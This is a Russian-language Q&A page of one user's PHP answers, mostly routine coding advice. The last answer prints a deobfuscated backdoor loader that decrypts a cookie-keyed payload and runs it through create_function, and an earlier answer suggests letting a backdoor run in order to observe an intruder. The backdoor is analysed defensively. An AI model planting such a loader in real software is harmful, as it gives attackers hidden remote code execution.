Ответы пользователя по тегу PHP
  • Зачем используют curl когда есть file_get_contents?

    riky
    @riky
    Laravel
    file_get_contents сложновато передавать и получать куки и др заголовки. file_get_contents для POST запроса тоже выглядит многословно, уже наравне с curl. Не очень хорошее поведение при 4xx 5xx ошибках и тд. Хорошей практикой будет использовать file_get_contents только для локальных файлов.
    Ответ написан
    1 комментарий
  • Как получить одноименные cookies в php для разных путей?

    riky
    @riky
    Laravel
    посомтрите отправляемые браузером заголовки (Cookie), скорее всего браузер сам смотрит путь и передает одну куку с одним именем у которой путь длинее. то есть из php все не достать. Используйте другие, более подходящие под задачу механизмы.
    Ответ написан
    Комментировать
  • Какую CMS порекомендуете для практики в PHP?

    riky
    @riky
    Laravel
    если цель WP - его и ковыряйте.
    а вообще не советовал бы по CMS изучать. в голове каша будет.
    для изучения самого php - лучше изучайте голый php, для понимания основ.
    а потом уже саму систему плагинов и тем WP. а может и программировать на нем понравится и на фреймворки перейдете.

    код cms обычно ужасен, не для слабонервных. если начать работать с ним не получив предварительно иммунитета от работы с правильно построенными системами, можно стать говнокодером.
    Ответ написан
    Комментировать
  • Как организовать обработку больших объемов данных?

    riky
    @riky
    Laravel
    Сравнение в php count(array_diff($arr1, $arr2)), не получилось в два массива запихать по 500 000 значений, ошибка памяти


    сам недавно пересечениями баловался, были массивы более 10М чисел, даже не сортированные.

    1) в php 500к запихнуть легко, просто юзай ini_set memory_limit.

    2) конечно же нельзя исопльзовать array_diff , исопльзуй array_diff_key это будет просто на порядок быстрее, тк по ключам там есть индекс. ну и массивы конечно надо перевернуть предварительно array_flip. по времени даже вместе со флипом оно будет на порядок быстрее.

    3) в конце концов сделал на GO, точно не помню но по скорости получилось раз в 3-5 наверное быстрее. точно сравнивать сложно тк в php загрузка данных тоже была довольно медленной, да и памяти он расходует гораздо больше. если нужно посчитать пересечение в сортированных списках - нужно сделать цикл пробегаясь по обоим массивам одновременно за один проход.

    примерно так:
    func intersectCount(ids1, ids2 []uint32) int {
    	j := 0
    	cnt := 0
    	for i := 0; i < len(ids1); i++ {
    		for ;(j < len(ids2)) && (ids2[j] < ids1[i]); j++ {}
    		if (j < len(ids2)) && (ids2[j] == ids1[i]) {
    			cnt++
    		}
    	}
    	return cnt
    }


    на php конечно так делать бессмысленно, тк array_diff_key на С и будет на порядок быстрее.

    ну и в целом по задаче, тут вам уже подсказали что идеальное решение в домашних условиях не найти. ищите просто любое неплохое, насколько приемлимо по задаче. чем меньше ресурсов имеете тем вероятно хуже оно будет.

    у меня было 1000 списков чисел, в списках от 1 до 15 млн uint32 чисел. нужно было посчитать пересечением каждое с каждым. в один поток на не очень мощном компе это заняло около 3-4 часов.

    очень много времени уходит на чтение с диска, поэтому загружал списки в память по 200 штук и высчитывал пересечение каждое с каждым, потом загружалась следующая партия и тд.

    посчитать пересечение 15 млн списков каждое с каждым в лоб за 3 часа выглядит нереально. нужен дешевый способ за один раунд выбрать небольшое количество подходящих и искать уже оптимальное среди них.
    Ответ написан
    1 комментарий
  • Можно ли на PHP поднять свой HTTP сервер, и надо ли это?

    riky
    @riky
    Laravel
    можно, например
    https://reactphp.org/ - в шапке как раз тот пример
    https://www.swoole.co.uk/ - на главной тоже есть пример сервера
    Ответ написан
    Комментировать
  • Как расшифровать код?

    riky
    @riky
    Laravel
    да, сначала меняешь eval на echo. это первый уровень. в з-ти от того что выдаст - дальше надо снова смотреть.

    расшифровывал много таких бэкдоров, смысла в этом мало. в конце концов там будет код который так же через eval или как то еще выполняет код из куки с определенным названием, либо из пост параметра.

    это лишь бэкдор - он дает только дырку, а уж что через нее будут делать - можно понять только расфшировав код, поняв откуда будет приходить код и поставив вместо него ловушку которая эти данные будет сохранять. Останется только ждать когда злоумышленник зайдет воспользоваться ей. Но если не выполнять отправляемый код и не отдавать ответ - злоумышленник сделает простой запрос например весии php- увидит что не работает и уйдет. код нужно выполнять и возвращать, тогда можно будет смотреть что он там делает.
    Ответ написан
    Комментировать
  • PHP NODEJS откуда такая ощутимая разница в скорости работы?

    riky
    @riky
    Laravel
    в пхп на каждый запрос каждый раз происходит бутстрапинг, то есть каждый раз стартует новый процесс и инициализируется. а нода запускается один раз и запускает свой вебсервер.
    тестируете на локалке - может быть еще xdebug включен - он тоже будет тормозить.
    в третьих на ссд диске рез-ты у php могут быть лучше (если еще не используется).
    Ответ написан
    4 комментария
  • Telegram API Bot. Как очищать callback_query?

    riky
    @riky
    Laravel
    при ответе добавляй параметр message_id с ид первого сообщения. тогда произойдет его редактирования (текст заменится вместо изначального) и пользователь не сможет больше нажать.

    но если там чтото важное, то лучше на сервере блокировать, иначе пока не выполнился первый запрос, юзер может кликнуть несколько раз, то есть несколько запросов все таки могут прийти.
    Ответ написан
    Комментировать
  • Как получить URL сайта, если скрипт запущен через CLI?

    riky
    @riky
    Laravel
    никак. дело еще и в том что на один скрипт можно привязать тысячи доменов, по которым он будет срабатывать, в момент запроса HTTP_HOST будет показывать тот по которому юзер запустил скрипт, но при запуске с разных доменов он будет разный.
    единственный вариант - прописывать хост который тебе надо где то в конфиге.
    Ответ написан
    Комментировать
  • Как с помощью PHP или JS показывать div в определенные дни?

    riky
    @riky
    Laravel
    $today = date('m-d');
    
    if ('11-21' <= $today && $today <= '11-25') {
       // показать
    }
    Ответ написан
    Комментировать
  • Почему $file = file_get_contents('https://vk.com/'); echo $file; приводит к бесконечному циклу?

    riky
    @riky
    Laravel
    потому что в вк есть вот такой код, при загрузке стр удаляйте его. он редиректит.
    либо чуть выше в коде подмените vk.host

    window.locDomain = vk.host.match(/[a-zA-Z]+\.[a-zA-Z]+\.?$/)[0];
    var _ua = navigator.userAgent.toLowerCase();
    if (/opera/i.test(_ua) || !/msie 6/i.test(_ua) || document.domain != locDomain) document.domain = locDomain;
    var ___htest = (location.toString().match(/#(.*)/) || {})[1] || '', ___to;
    ___htest = ___htest.split('#').pop();
    if (vk.al != 1 && ___htest.length && ___htest.substr(0, 1) == vk.navPrefix) {
      if (vk.al != 3 || vk.navPrefix != '!') {
        ___to = ___htest.replace(/^(\/|!)/, '');
        if (___to.match(/^([^\?]*\.php|login|mobile)([^a-z0-9\.]|$)/)) ___to = '';
        location.replace(location.protocol + '//' + location.host + '/' + ___to);
      }
    }
    Ответ написан
  • Несколько вопросов по функции fopen?

    riky
    @riky
    Laravel
    1) экранировать нужно если после слеша идет n, t или r. Т.к. \r \n \t это спец символы. Ваш код работает потому что после слеша другие символы. Для того чтобы не заставлять помнить эти спец символы предлагают экранировать все. Правда это актуально только если путь в двойных кавычках. т.е. "folder\nile.txt".

    2) не используйте t. при его использовании и запуске скрипта на винде при записи в файл у вас будет заменяться \n на \r\n. Для того чтобы стандартный блокнот нормально открывал. Естественно это чушь (как и использовать этот блокнот).
    Ответ написан
  • Какой микро php фреймворк использовать?

    riky
    @riky
    Laravel
    не бывает такого (по всем вашим условиям), если учитывать не какие то подпольные поделки.

    орм также из коробки вообще редко стоит. потому что нормальная орм на пхп это 10ки мб кода.
    если надо простое - slim/silex итд. но в них только базовый скелет http/роутинг, никаких орм, зачастую даже нет модулей для работы с базой, зато дальше можно подключать и орм и шаблоны и тд. хорошо для обучения весят всего мегабайт 5 (ларавел 40, симфони 50-80).
    если надо норм фреймворк для работы - берите ларавел.
    если планируете в энтерпрайз - изучайте симфони, код там простой, модульный и примерный, в лучших традициях, но его очень много.
    если хотите просто понимать как оно работает - посмотрите видео о разработке фрейморвка с нуля. а потом изучайте ларавел.
    ps на люмен не смотрите пока, по сути это ларавел у которого из коробки выключено пара модулей (орм например), то есть по коду там тоже самое, но большинство доп модулей из коробки не заведется. в большинстве случае лучше взять ларавел и выключить что не надо. либо беря люмен вы должны понимать почему вы это делаете (для отдельных внутренних микросерисов может и норм, но не для веб морды).
    Ответ написан
    Комментировать
  • Как сохранять base64 изображения из WYSIWYG редакторов в БД?

    riky
    @riky
    Laravel
    обычно редакторы имеют события на вставку картинок. делал такое в summernote. нужно просто подписаться на это событие вставки, аяксом отправить картинку на сервер, получить от него постоянную ссылку на картинку и заменить в редакторе src у img на эту постоянную. таким образом при сохранении в коде будет только ссылка на картинку. а картинка обычным файлом на диске.
    Ответ написан
    3 комментария
  • Как правильно реализовать вариантивность регистрации по email или номеру телефона?

    riky
    @riky
    Laravel
    unique index нужно делать на пару полей (phone, email).
    в будущем возможно захочется чтобы один юзер мог логинится и по мылу и по емеилу. либо использовать второе на случай восстановления.

    если юзер не будет долго пользоваться симкой, то номер оператор отберет навсегда, и залогиниться уже никак не получится, если нет емеила.
    Ответ написан
    Комментировать
  • Делаю конфиги на PHP. Как организовать генерацию?

    riky
    @riky
    Laravel
    храните готовые отдельные куски в разных файлах. можно добавлять переменные для замены
    много сторок в формате 
    ключ=$IP$
    ключ=$PROXY$

    в пхп считывать эти файлы и делать замены.
    если для генерации нужны for/if и тд то бывает удобно использовать шаблонизаторы twig/blade (особенно если они уже есть в проекте).
    или же генерить конфиг прямо через пхп-шаблонизацию, так же как им генерируется html.
    пример: config-template.php или даже config-template.ini чтобы была подсветка синтаксиса
    [$name]
    <?php if ($ip): ?>
    host= <?= $ip ?>
    <?php endif ?>
    
    <?php foreach ($proxies as $proxy): ?>
    proxy= <?= $proxy ?>
    <?php endforeach ?>
    
    итд

    ну и собирать вывод так же через ob_* функции + include этого файла, после объявления всех переменных конфига.
    Ответ написан
    Комментировать
  • Как правильно передавать ошибки вверх по дереву вызовов классов?

    riky
    @riky
    Laravel
    делать явную валидацию, а не как побочный эффект.

    $errors = $commentsModel->validate($comment);
    if (!$errors) {
        $status = $commentsModel->save($comment);
    }
    Ответ написан
  • Как вернуть 2 значения в PHP return?

    riky
    @riky
    Laravel
    проще всего некоторые значения возвращать по ссылке

    public function get_phone( $args, &$b ) {
            $b = 2;      
            return  1;
      }
    
    $a = get_phone( [], &$b );
    echo $a, $b; // 12
    Ответ написан
    Комментировать
  • Зачем нужен psr-7?

    riky
    @riky
    Laravel
    обертка над $_GET/$_POST нужна чтобы было потом удобно писать тесты над вашими контроллерами. Слим может применяться как для мелких проектов (где тесты почти не пишутся), так и для микросервисов, где без тестов будет тяжко.

    во вторых вас сразу приучают к хорошему, перейдя на другой фреймворк - вы уже будете знать как работает request/response. В теории легче мигрировать на другой фреймворк и кодом и в плане обучения.

    Если вы один раз изучили PSR7 то вам уже автоматически легче использовать все библиотеки которые его используют, например Guzzle, PHPReact и тд.
    Ответ написан
    Комментировать
  • Неизвестный зашифрованный PHP скрипт на сервере, как расшифровать?

    riky
    @riky
    Laravel
    Глянул скрипт, интересно то что без специального ключа его не расшифровать. Ключ передается через параметр key из cookie.

    Основная часть скрипта в чуть более читаемом виде выглядит так. Тут просто строку $m расшифровывают и запускают на выполнение. И да, там скорее всего ничего интересного - просто шелл.

    if (!empty($_COOKIE["key"])) {
        $F = $_COOKIE["key"];
        $e = strlen($F);
        $n = [];
        for ($r = 0; $r < $e; ++$r) $n[] = 44378 - $e - ord($F[$r]);
        $m = base64_decode(str_replace("\n", '', $m));
        for ($r = 0; $r < 44378; ++$r) {
            $_ = abs($n[$r % $e] - $r);
            $F = $m[$_];
            $m[$_] = $m[$r];
            $m[$r] = $F;
        }
        if ($e < 10) $e *= $e & 1 ? 3 : 2;
        if (($m = @gzinflate($m)) && (md5(substr($m, 0, $e)) === '40d1093c6aa5fe053f65ec0b46a673f1')) {
            $m = substr($m, $e);
            echo $e, $r;
            @create_function('', "};unset(\$m,\$n,\$e,\$r,\$_,\$F);" . $m . '{');
        }
    }


    PS кстати, если все таки хочется расшифровать - можно заменить скрипт на свой который тупо сохраняет этот key, тогда используя его можно будет расшифровать.

    сохранять можно например таким кодом:
    <?php
    file_put_contents('key.log', $_COOKIE["key"] . "\n", FILE_APPEND);
    Ответ написан
    Комментировать